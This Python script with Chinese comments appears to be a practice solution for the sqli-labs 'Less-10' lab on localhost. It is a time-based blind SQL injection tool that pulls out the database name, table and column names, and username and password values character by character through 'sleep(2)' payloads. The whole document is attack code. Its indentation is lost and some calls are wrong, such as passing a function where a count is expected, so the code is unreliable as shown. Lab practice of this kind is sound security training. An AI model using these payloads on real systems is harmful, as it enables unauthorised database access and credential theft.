import time
import requests
# 定义一个变量 用于存放cookie值
HEADER = {"cookie":"Idea-69a0360c=059291e0-9967-4fe4-bb5e-2524cdcf69d4; security_level=0"}
BASEURL = "http://localhost/sqli-labs-master/Less-10/?"
# 定义一个函数 用于获取数据库的长度
def get_database_length() -> int:
# 定义一个变量 用于储存数据库的长度的
length = 0
# 定义一个循环 用于判断数据库的个数
for i in range(100):
# 定义一下sql语句
url = BASEURL + "id=1\" and length(database())={} and sleep(2)--+".format(i)
# 获取一下当前的时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers=HEADER)
# 条件判断一下
if time.time() - start_time > 2:
print("这个数据库的长度为{}".format(i))
length = i
return length
# 定义一个函数 用于获取数据库的名称
def get_database_name(length):
# 输出提示语
print("数据库名称为:")
# 定义两层循环 外层为数据库的个数 内层为判断数据库的ascii码值 一般为33~128
for i in range(length):
for j in range(33, 128):
# 定义一下sql语句
url = BASEURL + "id=1\" and ascii(substr((database()),{},1))={} and sleep(2)--+".format(i + 1, j)
# 获取一下当前时间
start_time = time.time()
# 执行一下sql语句
requests.get(url, headers=HEADER)
# 条件判断他一下子
if time.time() - start_time > 2:
print(chr(j), end="")
# 定义一个函数 用于获取表格的数量
def get_table_count() -> int:
# 定义一个变量 用于获取表格个数
count = 0
# 定义一层循环 为表格个数
for i in range(100):
# 首先完善一下sql语句
url = BASEURL + "id=1\" and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2)--+".format(i)
# 定义一个变量 用于记录当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 条件判断他一下子
if time.time() - start_time > 2:
print("当前数据库下的表格个数为{}".format(i))
count = i
return count
# 定义一个函数 用于获取每个表格的名称个数
def get_each_table_length(count):
# 定义一下两层循环 外层循环为表格个数 内层循环为表格名称个数
for i in range(count):
for j in range(100):
# 定义一个sql语句
url = BASEURL + "id=1\" and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i, j)
# 获取一下当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 条件判断他一下子
if time.time() - start_time > 2:
print("第{}个表格的名称个数为{}".format(i + 1, j), end=' ')
get_each_table_name(i, j)
print("")
# 定义一个函数 用于获取每个表格的名称
def get_each_table_name(index, length):
# 定义两层循环 外层循环为表格名称个数 内层循环为ascii码值
for i in range(length):
for j in range(33, 128):
# 定义一下sql语句
url = BASEURL + "id=1\" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
# 获取当前的时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 条件判断他一下子
if time.time() - start_time > 2:
print(chr(j), end='')
# 定义一个函数 用于获取users表格中的字段个数
def get_column_count() -> int:
# 定义一个变量 用于获取字段数目
count = 0
# 定义一层循环 用于获取字段个数
for i in range(100):
# 定义一下sql语句
url = BASEURL + "id=1\" and (select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2)--+".format(i)
# 获取一下当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 用一下条件判断语句
if time.time() - start_time > 2:
print("users表中的字段数目为{}".format(i))
count = i
return count
# 定义一个函数 用于获取每个字段的名称个数
def get_each_column_length(count):
# 定义两层循环 外层循环为字段个数 内层循环为字段名称的个数
for i in range(count):
for j in range(100):
# 定义一个sql语句
url = BASEURL + "id=1\" and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2)--+".format(i, j)
# 获取当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 制造一个条件判断语句
if time.time() - start_time > 2:
print("第{}个字段的名称个数为{}".format(i + 1, j), end=' ')
get_each_column_name(i, j)
print("")
# 定义一个函数 用于获取每个字段的名称
def get_each_column_name(index, length):
# 定义两层循环 外层循环用于获取字段名称的个数 内层循环用于获取ascii码值
for i in range(length):
for j in range(33, 128):
# 定义一个sql语句
url = BASEURL + "id=1\" and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
# 获取当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 制造一个条件判断语句
if time.time() - start_time > 2:
print(chr(j), end='')
# 定义一个函数 用于获取用户名和密码信息
def get_username_and_password():
# 定义两层循环 外层循环为字段个数 内层循环为ASCII码值
for i in range(100):
for j in range(33, 128):
# 定义一个sql语句
url = BASEURL + "id=1\" and ascii(substr((select concat(username, password) from users limit 0,1),{},1))={} and sleep(2)--+".format(i, j)
# 获取当前时间
start_time = time.time()
# 执行sql语句
requests.get(url, headers = HEADER)
# 制造一个条件判断语句
if time.time() - start_time > 2:
print(chr(j), end='')
if __name__ == '__main__':
get_database_length()# 调用获取数据库长度的函数
get_database_name(get_database_length())# 调用获取数据库名称的函数
get_table_count()# 调用一下获取表格个数的函数
get_each_table_length(get_table_count)# 调用一下获取每一个表格的名称个数函数
get_column_count()# 调用一下获取字段个数的函数
get_each_column_length(get_column_count())# 调用一个获取每个字段名称个数的函数
get_username_and_password()# 调用一下获取用户名和密码信息的函数